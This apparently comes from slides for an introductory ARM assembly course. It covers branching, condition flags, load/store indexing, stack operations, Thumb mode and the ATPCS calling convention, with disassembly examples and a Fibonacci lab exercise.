| BLX <reg>   | Call a subroutine, **optionally** change         | Any              | Any           |
|             | instruction set                                   |                  |               |
| BX          | Branch to target address, change                 | Any              | Any           |
|             | instruction set                                   |                  |               |
| CBZ         | Compare and Branch on Zero                       | 0-126 bytes      | Does not exist|
| CBNZ        | Compare and Branch on Nonzero                    | 0-126 bytes      | Does not exist|
| TBB         | Table Branch (byte offsets)                      | 0-510 bytes      | Does not exist|
| TBH         | Table Branch (halfword offsets)                  | 0-131070 bytes   | Does not exist|
Conditional Branching

• **BLE**: Branch if less than or equal
  – $Z=1$ OR $N\neq V$
• **BGT**: Branch if greater than
  – $Z=0$ AND $N=V$
• **BEQ**: Branch if equal
  – $Z=1$
• **BNE**: Branch if not equal
  – $Z=0$
• How do $N$ and $V$ flags tell us if something is less or greater than?
  – Generally there is a CMP or TST instruction before
  – CMP $<r0>$ $<r1>$ means perform $<r0> - <r1>$
Example 9.s

00000835c <__libc_csu_init>:
  835c:  e92d 43f8  stdmb  sp!, {r3, r4, r5, r6, r7, r8, r9, lr}
  8360:  4606  mov  r6, r0
  8362:  f8df 9034  ldr.w  r9, [pc, #52]  ; 8398 <__libc_csu_init+0x3c>
  8366:  460f  mov  r7, r1
  8368:  4d0c  ldr  r5, [pc, #48]  ; (839c <__libc_csu_init+0x40>)
  836a:  4690  mov  r8, r2
  836c:  44f9  add  r9, pc
  836e:  f7ff ff91  bl  8294 <__init>
  8372:  447d  add  r5, pc
  8374:  ebc5 0909  rsb  r9, r5, r9
  8378:  ea5f 09a9  movs.w  r9, r9, asr #2
  837c:  d009  beq.n  8392 <__libc_csu_init+0x36>
  837e:  2400  movs  r4, #0
  8380:  f855 3b04  ldr.w  r3, [r5], #4
  8384:  4630  mov  r0, r6
  8386:  4639  mov  r1, r7
  8388:  4642  mov  r2, r8
  838a:  3401  adds  r4, #1
  838c:  4798  blx  r3
  838e:  454c  cmp  r4, r9
  8390:  d1f6  bne.n  8380 <__libc_csu_init+0x24>
  8392:  e8bd 83f8  ldmia.w  sp!, {r3, r4, r5, r6, r7, r8, r9, pc}
  8396:  bf00  nop
  8398:  00008ba0 .word 0x00008ba0
  839c:  00008b96 .word 0x00008b96
Current Program Status Register

- N – Negative flag
- Z – Zero flag
- C – Carry flag
- V – Overflow flag
- Q – Sticky overflow
- I – 1: Disable IRQ mode
- F – 1: Disable FIQ mode
- T – 0: ARM state
- 1: Thumb state
- _MODE – Mode bits
Hello, World! in ARM Assembly

.text
_start: .global _start

    @ sys_write ( fd, pstr, len )
    @ r7=4 r0 r1 r2
    mov r0, #1 @ fd <- stdout
    adr r1, msg @ pstr <- *msg
    mov r2, #14 @ len <- 14
    mov r7, #4 @ syscall <- sys_write
    swi 0 @ system call
    @ sys_exit ( exitcode )
    @ r7=1 r0
    mov r0, #0 @ exitcode <- 0
    mov r7, #1 @ syscall <- sys_exit
    swi 0 @ system call

msg:
    .asciz "Hello, world!\n"

.end

Linux GNUEABI spec means syscall identifier is put in R7 and arguments in R0-R6

Linux kernel ignores #imm value after SWI instruction

Syscall invoked with SWI/SVC instruction (supervisor mode)

Instructions covered so far...

- NOP
- ADD, ADC, SUB, SBC, RSB, RSC
- ASR, LSL, LSR, ROR, RRX
- MOV, MVN
- REV, REVSH, REV16
- AND, EOR, ORR, ORN, CMP, CMN
- BIC, TEQ, TST
- B, BL, BLX, BLE, BGT
- SWI
Hints on how to RTFM

- `{S}` – updates flags in the CPSR
- `{<c>}` – allows mnemonic of conditional to be added
- `{<q>}` – instruction suffix with either:
  - `.N` Narrow, assembler must use 16-bit encoding for the instruction
  - `.W` Wide, assembler must use 32-bit encoding for the instruction
- Do not use the `.N` or `.W` in your assembly code.
- As per manual, it will throw errors. Assembler decides on encoding depending on options selected.
Lab 1

• Again commands given below for copying files into and out of the simulator
  scp –P 2200 <localfile> root@localhost:/path/to/file
  scp –P 2200 root@localhost:/path/to/file <localfile>
  Password is passw0rd

• Fibonacci program
  – Write assembly function to calculate fibonacci value at a given position x
  – R0 has x
  – For example: [0, 1, 2, 3, 4, 5, 6 ...] x
    [0, 1, 1, 2, 3, 5, 8 ...] fibonacci(x)
  – Only modify fib.s
Sample algorithms

// Non-recursive
int fibonacci(int x) {
    int previous = -1;
    int result = 1;
    int i=0;
    int sum=0;
    for (i = 0; i <= x; i++) {
        sum = result + previous;
        previous = result;
        result = sum;
    }
    return result;
}

// Recursive
int fibonacci(int x) {
    if(x<=0) return 0;
    if(x==1) return 1;
    return fibonacci(x-1) + fibonacci(x-2);
}

NOTE: Filler code follows Recursive algorithm.
Possible solution

fibonacci:
  push {r3, r4, r5, lr} ; function prolog
  subs r4, r0, #0 ; r4 = r0 - 0
  ble .L3 ; if (r0 <= 0) goto .L3

  cmp r4, #1 ; Compare r4 to 1
  beq .L4 ; if (r4 == 1) goto .L4

  add r0, r4, #4294967295 ; r0 = r4 + 4294967295 (or #0xFFFFFFFF)
  bl fibonacci ; goto fibonacci @PC relative address

  mov r5, r0 ; r5 = r0
  sub r0, r4, #2 ; r0 = r4 - 2
  bl fibonacci ; goto fibonacci @PC relative address

  adds r0, r5, r0
  pop {r3, r4, r5, pc}

.L3:
  mov r0, #0
  pop {r3, r4, r5, pc}

.L4:
  mov r0, #1
  pop {r3, r4, r5, pc}
DAY 1 PART 2
Ah the old joke...

Memory operations Part I reminder...

- LDR r0, [r1]
- R1 in this example is known as **base address register**, where the base address register can be any one of R0-R12, SP, or LR
Memory Operations Part II: Indexing operations

• Preindex with Writeback (denoted by [Rn,offset]!)
  – Calculates address in base register + offset
  – Uses calculated address for operation into Rn
  – Stores the calculated address into base register

• Preindex (denoted by [Rn,offset])
  – Calculates address in base register + offset
  – Uses calculated address for operation into Rn
  – Does NOT store the calculated address into base register

• Postindex (denoted by [Rt])
  – Uses address in base register for operation into Rn
  – Calculates address in base register + offset
  – Stores the calculated address into base register
# LDR Indexing

<table>
<thead>
<tr>
<th>Indexing mode</th>
<th>Instruction</th>
<th>R0</th>
<th>R1 or Rbase</th>
</tr>
</thead>
<tbody>
<tr>
<td>Preindex with Writeback</td>
<td>LDR r0, [r1, #2]!</td>
<td>r0 = [r1 + 2]</td>
<td>r1 = r1 + 2</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>LDR r0, [r1, r2]!</td>
<td>r0 = [r1 + r2]</td>
<td>r1 = r1 + r2</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>LDR r0, [r1, r2, LSL #3]!</td>
<td>r0 = [r1 + (r2 LSL 3)]</td>
<td>r1 = r1 + (r2 LSL 3)</td>
</tr>
<tr>
<td>Preindex</td>
<td>LDR r0, [r1, #2]</td>
<td>r0 = [r1 + 2]</td>
<td>r1 = r1</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>LDR r0, [r1, r2]</td>
<td>r0 = [r1 + r2]</td>
<td>r1 = r1</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>LDR r0, [r1, r2, LSL #3]</td>
<td>r0 = [r1 + (r2 LSL 3)]</td>
<td>r1 = r1</td>
</tr>
<tr>
<td>Postindex</td>
<td>LDR r0, [r1], #2</td>
<td>r0 = [r1]</td>
<td>r1 = r1 + 2</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>LDR r0, [r1], r2</td>
<td>r0 = [r1]</td>
<td>r1 = r1 + r2</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>LDR r0, [r1], r2, LSL #3</td>
<td>r0 = [r1]</td>
<td>r1 = r1 + (r2 LSL 3)</td>
</tr>
</tbody>
</table>

Instruction form: LDR<
c> <Rt>, [<Rn>{, offset}] where [] denotes memory contents of

Source: [http://www.slideshare.net/guest56d1b781/arm-fundamentals](http://www.slideshare.net/guest56d1b781/arm-fundamentals)
## STR Indexing

<table>
<thead>
<tr>
<th>Indexing mode</th>
<th>Instruction</th>
<th>Rt</th>
<th>Rn or Rbase</th>
</tr>
</thead>
<tbody>
<tr>
<td>Preindex with Writeback</td>
<td>STR r0, [r1, #2]!</td>
<td>[r1 + 2] = r0</td>
<td>r1 = r1 + 2</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>STR r0, [r1, r2]!</td>
<td>[r1 + r2] = r0</td>
<td>r1 = r1 + r2</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>STR r0, [r1, r2, LSL #3]!</td>
<td>[r1 + (r2 LSL 3)] = r0</td>
<td>r1 = r1 + (r2 LSL 3)</td>
</tr>
<tr>
<td>Preindex</td>
<td>STR r0, [r1, #2]</td>
<td>[r1 + 2] = r0</td>
<td>r1 = r1</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>STR r0, [r1, r2]</td>
<td>[r1 + r2] = r0</td>
<td>r1 = r1</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>STR r0, [r1, r2, LSL #3]</td>
<td>[r1 + (r2 LSL 3)] = r0</td>
<td>r1 = r1</td>
</tr>
<tr>
<td>Postindex</td>
<td>STR r0, [r1], #2</td>
<td>[r1] = r0</td>
<td>r1 = r1 + 2</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>STR r0, [r1], r2</td>
<td>[r1] = r0</td>
<td>r1 = r1 + r2</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>STR r0, [r1], r2, LSL #3</td>
<td>[r1] = r0</td>
<td>r1 = r1 + (r2 LSL 3)</td>
</tr>
</tbody>
</table>

Instruction form: \texttt{STR<c> <Rt>, \{<Rn>, offset\}} where \{\} denotes memory contents of

Source: [http://www.slideshare.net/guest56d1b781/arm-fundamentals](http://www.slideshare.net/guest56d1b781/arm-fundamentals)
Example 10 (Any program)

00008318 <main>:
  8318: b508 push {r3, lr}
  831a: 2001 movs r0, #1
  831c: f248 4108 movw r1, #33800 ; 0x8408
  8320: f247 6201 movw r2, #30209 ; 0x7601
  8324: f2c0 0100 movt r1, #0
  8328: f2c2 7297 movt r2, #10135 ; 0x2797
  832c: f7ff efe8 blx 8300 <_init+0x3c>
  8330: 2000 movs r0, #0
  8332: bd08 pop {r3, pc}

00008334 <_start>:
  8334: f04f 0b00 mov.w fp, #0
  8338: f04f 0e00 mov.w lr, #0
  833c: f85d 1b04 ldr.w r1, [sp], #4
  8340: 466a mov r2, sp
  8342: f84d 2d04 str.w r2, [sp, #-4]
  8346: f84d 0d04 str.w r0, [sp, #-4]
  834a: f8df c014 ldr.w ip, [pc, #20]
  8360 <_start+0x2c>
  834e: f84d cd04 str.w ip, [sp, #-4]
  8352: 4804 ldr r0, [pc, #16]
  8354: 4b04 ldr r3, [pc, #16]
  (8364 <_start+0x30>)
  8356: f7ff efc6 blx 82e4 <_init+0x20>
  8358: f7ff efd8 blx 830c <_init+0x48>
  835e: 0000 .short 0x0000
  8360: 000083f9 .word 0x000083f9
  8364: 00008319 .word 0x00008319
  8368: 000083b5 .word 0x000083b5
A note on LDR/STR

• For loading large constants into registers, the assembler generally prefers using MOVN <Rd>, <#~large constant> (~ is Bitwise NOT)
• Assembler likes to use values between 0 and 255 along with barrel shifts to arrive at value
• Example:
  – Instead of:
    LDR R0, #ffffff23
    MOVN R0, #0xDC
Other Instructions

• SSAT <reg1> <imm> <reg2> – Signed Saturate
• USAT <reg1> <imm> <reg2> – Unsigned Saturate
• QADD <reg1> <reg2> <reg3> – Add & saturate the result (<reg1> = sat(<reg2> + <reg3>))
• QSUB – Subtract & saturate the result <reg1> = sat(<reg2> - <reg3>)
• QDADD – Saturate Double & Add <reg1>=sat(<reg2> + 2*<reg3>)
• QDSUB – <reg1> = sat(<reg2> - 2*<reg3>)
# Control Flow operations (Table A4-1)

<table>
<thead>
<tr>
<th>Instruction</th>
<th>Description</th>
<th>Thumb mode range</th>
<th>ARM mode range</th>
</tr>
</thead>
<tbody>
<tr>
<td>B &lt;label&gt;</td>
<td>Branch to target address</td>
<td>+/- 16 MB</td>
<td>+/- 32 MB</td>
</tr>
</tbody>
</table>
| BL, BLX <imm> | Call a subroutine  
               Call a subroutine, change instruction set | +/- 16 MB | +/- 32 MB |
| BLX <reg>   | Call a subroutine, *optionally* change instruction set | Any | Any |
| BX          | Branch to target address, change instruction set | Any | Any |
| CBZ         | Compare and Branch on Zero (16-bit)  
               Permitted offsets are even from 0 – 126 | +4 to +130 bytes | Does not exist |
| CBNZ        | Compare and Branch on Nonzero (16-bit)  
               Permitted offsets are even from 0 – 126 | +4 to +130 bytes | Does not exist |
| TBB         | Table Branch (byte offsets) (32-bit) | 0-510 bytes | Does not exist |
| TBH         | Table Branch (halfword offsets) (32-bit) | 0-131070 bytes | Does not exist |
Conditional execution

• Most instructions can be made conditional by adding two letter mnemonic from table A8-1 to end of an existing instruction
• It increases performance by reducing the # of branches
• Example:
  – ADDEQ r0, r1, r2 ; If zero flag is set then r0=r1+r2
### Conditional operations (Table A8-1)

<table>
<thead>
<tr>
<th>Suffix</th>
<th>Description</th>
<th>Flags tested</th>
</tr>
</thead>
<tbody>
<tr>
<td>EQ</td>
<td>Equal</td>
<td>Z=1</td>
</tr>
<tr>
<td>NE</td>
<td>Not Equal</td>
<td>Z=0</td>
</tr>
<tr>
<td>CS/HC</td>
<td>Unsigned higher or same</td>
<td>C=1</td>
</tr>
<tr>
<td>CC/LO</td>
<td>Unsigned lower</td>
<td>C=0</td>
</tr>
<tr>
<td>MI</td>
<td>Minus</td>
<td>N=1</td>
</tr>
<tr>
<td>PL</td>
<td>Positive or Zero</td>
<td>N=0</td>
</tr>
<tr>
<td>VS</td>
<td>Overflow</td>
<td>V=1</td>
</tr>
<tr>
<td>VC</td>
<td>No overflow</td>
<td>V=0</td>
</tr>
<tr>
<td>HI</td>
<td>Unsigned Higher</td>
<td>C=1 AND Z=0</td>
</tr>
<tr>
<td>LS</td>
<td>Unsigned lower or same</td>
<td>C=0 OR Z=1</td>
</tr>
<tr>
<td>GE</td>
<td>Greater or equal</td>
<td>N=V</td>
</tr>
<tr>
<td>LT</td>
<td>Less than</td>
<td>N!=V</td>
</tr>
<tr>
<td>GT</td>
<td>Greater than</td>
<td>Z=0 AND N=V</td>
</tr>
<tr>
<td>LE</td>
<td>Less than or equal</td>
<td>Z=1 OR N!=V</td>
</tr>
<tr>
<td>AL</td>
<td>Always</td>
<td></td>
</tr>
</tbody>
</table>
Current Program Status Register

- **N** - Negative flag
- **Z** - Zero flag
- **C** - Carry flag
- **V** - Overflow flag
- **Q** - Sticky overflow
- **I** - 1: Disable IRQ mode
- **F** - 1: Disable FIQ mode
- **T** - 0: ARM state
- 1: Thumb state
- **_MODE** - Mode bits
Pipelining

• Does not decrease instruction execution time
• Increases throughput
• Time allocated dependent on longest cycle instruction
• Fetches and decodes instructions in parallel while executing current instruction.


Also see http://www.cse.unsw.edu.au/~cs9244/06/seminars/08-leonidr.pdf
Pipelining in action

<table>
<thead>
<tr>
<th>Cycle</th>
<th>1</th>
<th>2</th>
<th>3</th>
<th>4</th>
<th>5</th>
<th>6</th>
<th>7</th>
<th>8</th>
<th>9</th>
</tr>
</thead>
<tbody>
<tr>
<td>Operation</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ADD</td>
<td>F</td>
<td>D</td>
<td>E</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>SUB</td>
<td>F</td>
<td>D</td>
<td>E</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ORR</td>
<td>F</td>
<td>D</td>
<td>E</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>AND</td>
<td>F</td>
<td>D</td>
<td>E</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ORR</td>
<td>F</td>
<td>D</td>
<td>E</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>EOR</td>
<td>F</td>
<td>D</td>
<td>E</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

F - Fetch  D - Decode  E - Execute

Issues associated with pipelining

• Branch instructions
  – Conditional execution reduces number of branches, which reduces # of pipeline flushes

• Instructions dependent on previous instructions (data-dependency)

• Interrupts in the beginning/middle/end of cycle?

• How code is optimized for pipelining is compiler & processor dependent

Source: [http://bnrg.eecs.berkeley.edu/~randy/Courses/CS252.S96/Lecture08.pdf](http://bnrg.eecs.berkeley.edu/~randy/Courses/CS252.S96/Lecture08.pdf)
Other ways of branching

- LDR PC, [PC, #offset]
- Value written has to be aligned for mode
- Earlier processors (armv4 and earlier) used to have prefetch
  - PC points two instructions ahead
  - Programmer has to account for PC+8
  - Store address of branch location at current address + offset + 8
- Same tradition continues for all arm architectures so far

Example 12.s

0x10000000 add r0, r1, r2
0x10000004 ldr pc, [pc, #4]
0x10000008 sub r1, r2, r3
0x1000000c cmp r0, r1
0x10000010 0x20000000

... Branch target
0x20000000 str r5, [r13, -#4]!
ONE instruction to rule them all..

• LDM/STM – Load multiple/Store multiple
• Used in conjunction with a suffix (called mode) for how to move consecutively
• Lowest register uses the lowest memory address
LDM/STM modes

<table>
<thead>
<tr>
<th>Mode</th>
<th>Short description</th>
<th>LDM synonym</th>
<th>STM synonym</th>
<th>Start Address</th>
<th>End Address</th>
<th>Rn!</th>
</tr>
</thead>
<tbody>
<tr>
<td>IA</td>
<td>Increment After</td>
<td>P=0, U=1</td>
<td>P=0, U=1</td>
<td>Rn</td>
<td>Rn</td>
<td>Rn+4*N</td>
</tr>
<tr>
<td>IB</td>
<td>Increment Before</td>
<td>P=1, U=1</td>
<td>P=1, U=1</td>
<td>Rn+4</td>
<td>Rn+4*N</td>
<td>Rn+4*N</td>
</tr>
<tr>
<td>DA</td>
<td>Decrement after</td>
<td>P=0, U=0</td>
<td>P=0, U=0</td>
<td>Rn-4*N +4</td>
<td>Rn</td>
<td>Rn-4*N</td>
</tr>
<tr>
<td>DB</td>
<td>Decrement before</td>
<td>P=1, U=0</td>
<td>P=1, U=0</td>
<td>Rn-4*N</td>
<td>Rn-4</td>
<td>Rn-4*N</td>
</tr>
<tr>
<td>FA</td>
<td>Full Ascending</td>
<td>DA</td>
<td>IB</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>EA</td>
<td>Empty Ascending</td>
<td>DB</td>
<td>IA</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>FD</td>
<td>Full Descending</td>
<td>IA</td>
<td>DB</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ED</td>
<td>Empty Descending</td>
<td>IB</td>
<td>DA</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

N is the number of registers
n goes from 1..N
Stack operations

• Instead of POP, we use Load-Multiple
• Instead of PUSH, we use Store-Multiple
• Stacks can be
  – (A)scending – stack grows to higher memory addresses
  – (D)escending – stack grows to lower memory addresses
# LDM/STM pairs

<table>
<thead>
<tr>
<th>Store Multiple</th>
<th>Load Multiple</th>
</tr>
</thead>
<tbody>
<tr>
<td>STMIA</td>
<td>LDMDB</td>
</tr>
<tr>
<td>STMIB</td>
<td>LDMDA</td>
</tr>
<tr>
<td>STMDA</td>
<td>LDMIB</td>
</tr>
<tr>
<td>STMDB</td>
<td>LDMIA</td>
</tr>
</tbody>
</table>
STMDB operation

INSTRUCTION: STMDB sp!, {r3, r4, r5, r7}

<table>
<thead>
<tr>
<th>R3</th>
<th>0xABCDDEFF</th>
</tr>
</thead>
<tbody>
<tr>
<td>R4</td>
<td>0x0000CAFE</td>
</tr>
<tr>
<td>R5</td>
<td>0xFEED0000</td>
</tr>
<tr>
<td>R7</td>
<td>0xF00D0000</td>
</tr>
<tr>
<td>SP</td>
<td>0x00008018</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th></th>
<th>0x8000</th>
<th>0x8004</th>
<th>0x8008</th>
<th>0x800C</th>
<th>0x8010</th>
<th>0x8014</th>
<th>0x8018</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td>0xABCDDEFF</td>
<td></td>
<td>0x0000CAFE</td>
<td></td>
<td>0xFEED0000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>0xABCDDEFF</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>SP</td>
<td>0x00008008</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
LDMIA operation

INSTRUCTION:  LDMIA sp!, {r3, r4, r5, r7}

R3  0xABCDDEFF
R4  0x0000CAFE
R5  0xFEED0000
R7  0xF00D0000

SP  0x00008018

0x8000
0x8004
0x8008  0xABCDDEFF
0x800C  0x0000CAFE
0x8010  0xFEED0000
0x8014  0xF00D0000
0x8018

SP  0x00008008
Example 13.s

0000835c <__libc_csu_init>:

835c:  e92d 43f8  stmdb  sp!, {r3, r4, r5, r6, r7, r8, r9, lr}
8360:  4606  mov  r6, r0
8362:  f8df 9034  ldr.w  r9, [pc, #52] ; 8398 <__libc_csu_init+0x3c>
8366:  460f  mov  r7, r1
8368:  4d0c  ldr  r5, [pc, #48] ; (839c <__libc_csu_init+0x40>)
836a:  4690  mov  r8, r2
836c:  44f9  add  r9, pc
836e:  f7ff ff91  bl  8294 <__init>
8372:  447d  add  r5, pc
8374:  ebc5 0909  rsb  r9, r5, r9
8378:  ea5f 09a9  movs.w  r9, r9, asr #2
837c:  d009  beq.n  8392 <__libc_csu_init+0x36>
837e:  2400  movs  r4, #0
8380:  f855 3b04  ldr.w  r3, [r5], #4
8384:  4630  mov  r0, r6
8386:  4639  mov  r1, r7
8388:  4642  mov  r2, r8
838a:  3401  adds  r4, #1
838c:  4798  blx  r3
838e:  454c  cmp  r4, r9
8390:  d1f6  bne.n  8380 <__libc_csu_init+0x24>
8392:  e8bd 83f8  ldmia.w  sp!, {r3, r4, r5, r6, r7, r8, r9, pc}
8396:  bf00  nop
8398:  00008ba0  .word  0x00008ba0
839c:  00008b96  .word  0x00008b96
Switching between ARM and Thumb states

- A processor in Thumb can enter ARM state by executing any of the following:
  - BX, BLX, or LDR/LDM operation on PC (R15)
- A processor in ARM can enter Thumb state by executing any of the following:
  - ADC, ADD, AND, ASR, BIC, EOR, LSL, LSR, MOV, MVN, ORR, ROR, RRX, RSB, RSC, SBC, or SUB operation on PC (R15) and which does not set the condition flags.
Thumb2 instruction set means ...

• The instructions in Thumb2 itself are a mix of 16-bit and 32-bit instructions and are run in **Thumb-mode**
• Compiler option to mix **ARM-mode** and **Thumb-mode** instructions: `-m-thumb-interwork`
• Default is `-mno-thumb-interwork`
• The Xeno Question - So how can we tell the difference?
• Mentioned in the ATPCS manual (included in the references)
• The LSB (rightmost bit) of branch address has to be 1 if the instructions at that address are to be interpreted as Thumb2!
• If you want to jump to address containing a mix of 16-bit and 32-bit instructions make sure the address is odd.
How does Thumb mode differentiate b/w 16-bit and 32-bit instructions?

• In Thumb mode ARM processor only reads halfword-aligned halfwords

• Looks at instruction encoding:
  – If bits 15:11 of the halfword being decoded is one of following, then it is the first halfword of a 32 bit instruction
    • 0b11101
    • 0b11110
    • 0b11111
  – Otherwise, it is interpreted as 16-bit instruction
ARM-Thumb Procedure Call Standard

• Followed by compilers
• Caller saved registers:
  – The caller subroutine must preserve the contents of R0 – R3 if it needs them before calling another subroutine
• Callee saved registers:
  – The called subroutine must preserve the contents of R4 – R11 (usually on the stack in memory) and must restore the values before returning (if used).
• What about interrupts?
<table>
<thead>
<tr>
<th>Register</th>
<th>Synonym</th>
<th>Special</th>
<th>Role in the procedure call standard</th>
</tr>
</thead>
<tbody>
<tr>
<td>r15</td>
<td>PC</td>
<td></td>
<td>The Program Counter. (x86 EIP)</td>
</tr>
<tr>
<td>r14</td>
<td>LR</td>
<td></td>
<td>The Link Register. (x86 saved EIP)</td>
</tr>
<tr>
<td>r13</td>
<td>SP</td>
<td></td>
<td>The Stack Pointer. (x86 ESP)</td>
</tr>
<tr>
<td>r12</td>
<td>IP</td>
<td></td>
<td>The Intra-Procedure-call scratch register. (x86 RSI)</td>
</tr>
<tr>
<td>r11</td>
<td>v8</td>
<td></td>
<td>Variable-register 8/Frame Pointer (x86 EBP)</td>
</tr>
<tr>
<td>r10</td>
<td>v7</td>
<td></td>
<td>Variable-register 7/Stack Limit</td>
</tr>
<tr>
<td>r9</td>
<td>v6/SB/TR</td>
<td></td>
<td>Platform specific register.</td>
</tr>
<tr>
<td>r8</td>
<td>v5</td>
<td></td>
<td>Variable-register 5.</td>
</tr>
<tr>
<td>r7</td>
<td>v4</td>
<td></td>
<td>Variable-register 4. (can also be x86 EBP)</td>
</tr>
<tr>
<td>r6</td>
<td>v3</td>
<td></td>
<td>Variable-register 3.</td>
</tr>
<tr>
<td>r5</td>
<td>v2</td>
<td></td>
<td>Variable-register 2.</td>
</tr>
<tr>
<td>r4</td>
<td>v1</td>
<td></td>
<td>Variable-register 1.</td>
</tr>
<tr>
<td>r3</td>
<td>a4</td>
<td></td>
<td>Argument/scratch register 4.</td>
</tr>
<tr>
<td>r2</td>
<td>a3</td>
<td></td>
<td>Argument/scratch register 3.</td>
</tr>
<tr>
<td>r1</td>
<td>a2</td>
<td></td>
<td>Argument/result/scratch register 2.</td>
</tr>
<tr>
<td>r0</td>
<td>a1</td>
<td></td>
<td>Argument/result/scratch register 1.</td>
</tr>
</tbody>
</table>
ATPCS

Caller saved

Callee saved

FP is neither mandated nor precluded from use. If it is used, it must be Callee saved. In ARM state, R11 is used. In Thumb state, R4-R7 can be used.

Stack Pointer should be same upon Callee return as it was upon Callee entry. So should the Link Register!
int main(void) {
    one();
    return 0;
}

void one(void) {
    zero();
    two();
    return;
}

void two(void) {
    printf("main...one...two\n");
    return;
}

void zero(void) {
    return;
}
So, how does this stack up? (pun intended)

Increasing Memory

<table>
<thead>
<tr>
<th>Local variables</th>
</tr>
</thead>
<tbody>
<tr>
<td>Caller-save registers</td>
</tr>
<tr>
<td>Args to One()</td>
</tr>
</tbody>
</table>

... main() “frame”

undefined

undefined
Branch with Link occurs to one()

Processor copies PC into LR
Sets PC = one() in memory

Local variables
Caller-save registers
Args to One()

... main() “frame”
undefined
undefined
ARM now executing first instruction in one()

Callee-save registers are pushed onto stack using STMFD sp!, {registers} along with R14 (LR)

And R11/R7/R3(FP) can also be updated relative to (R13)SP

<table>
<thead>
<tr>
<th>Local variables</th>
<th>main() “frame”</th>
</tr>
</thead>
<tbody>
<tr>
<td>Caller-save registers</td>
<td>One() “frame”</td>
</tr>
<tr>
<td>Args to One()</td>
<td>undefined</td>
</tr>
<tr>
<td>LR = PC@main</td>
<td></td>
</tr>
<tr>
<td>Callee-save registers</td>
<td></td>
</tr>
</tbody>
</table>
ARM now executing second instruction in one()

Local variables are also added to the stack

<table>
<thead>
<tr>
<th>Local variables</th>
<th>Caller-save registers</th>
<th>Args to One()</th>
<th>LR = PC@main</th>
<th>Callee-save registers</th>
<th>Local variables</th>
</tr>
</thead>
</table>

...  

- main() “frame”
- One() “frame”
- undefined
PC now about to branch to two()

Local variables
Caller-save registers
Args to One()
LR = PC@main
Callee-save registers
Local variables
Caller-save registers
Args to Two()

...  

main() “frame”
One() “frame”
undefined

Caller-save registers for one() are saved. Arguments to two are also pushed.
Branch with Link occurs to two()

Processor copies PC into LR
Sets PC = one() in memory

Local variables
Caller-save registers
Args to One()
LR = PC@main
Callee-save registers
Local variables
Caller-save registers
Args to Two()

...\n
main() “frame”
One() “frame”
Two() “frame”
ARM now executes first instruction in two()

<table>
<thead>
<tr>
<th>Local variables</th>
<th>...</th>
</tr>
</thead>
<tbody>
<tr>
<td>Caller-save registers</td>
<td>main() “frame”</td>
</tr>
<tr>
<td>Args to One()</td>
<td>One() “frame”</td>
</tr>
<tr>
<td>Callee-save registers</td>
<td>Two() “frame”</td>
</tr>
<tr>
<td>LR = PC@main()</td>
<td>Saves the callee-save registers</td>
</tr>
<tr>
<td>Local variables</td>
<td>Also saves the R14(Link Register)</td>
</tr>
<tr>
<td>Caller-save registers</td>
<td></td>
</tr>
<tr>
<td>Args to Two()</td>
<td></td>
</tr>
<tr>
<td>LR = PC@One()</td>
<td></td>
</tr>
<tr>
<td>Callee-save registers</td>
<td></td>
</tr>
</tbody>
</table>
So, how did it stack up?

• Similar to x86 in some ways.
• However, R11(FP) is not really used much.
• SP is updated using STMFD and LDMFD
• Despite the return address being saved in the LR, most often it is put on the stack and then restored later directly into PC
• Which may help you in Lab 3...
Current Program Status Register

- N – Negative flag
- Z – Zero flag
- C – Carry flag
- V – Overflow flag
- Q – Sticky overflow
- I – 1: Disable IRQ mode
- F – 1: Disable FIQ mode
- T – 0: ARM state
  1: Thumb state
- _MODE – Mode bits

<table>
<thead>
<tr>
<th>_Mode [4:0]</th>
<th>Mode</th>
</tr>
</thead>
<tbody>
<tr>
<td>10000</td>
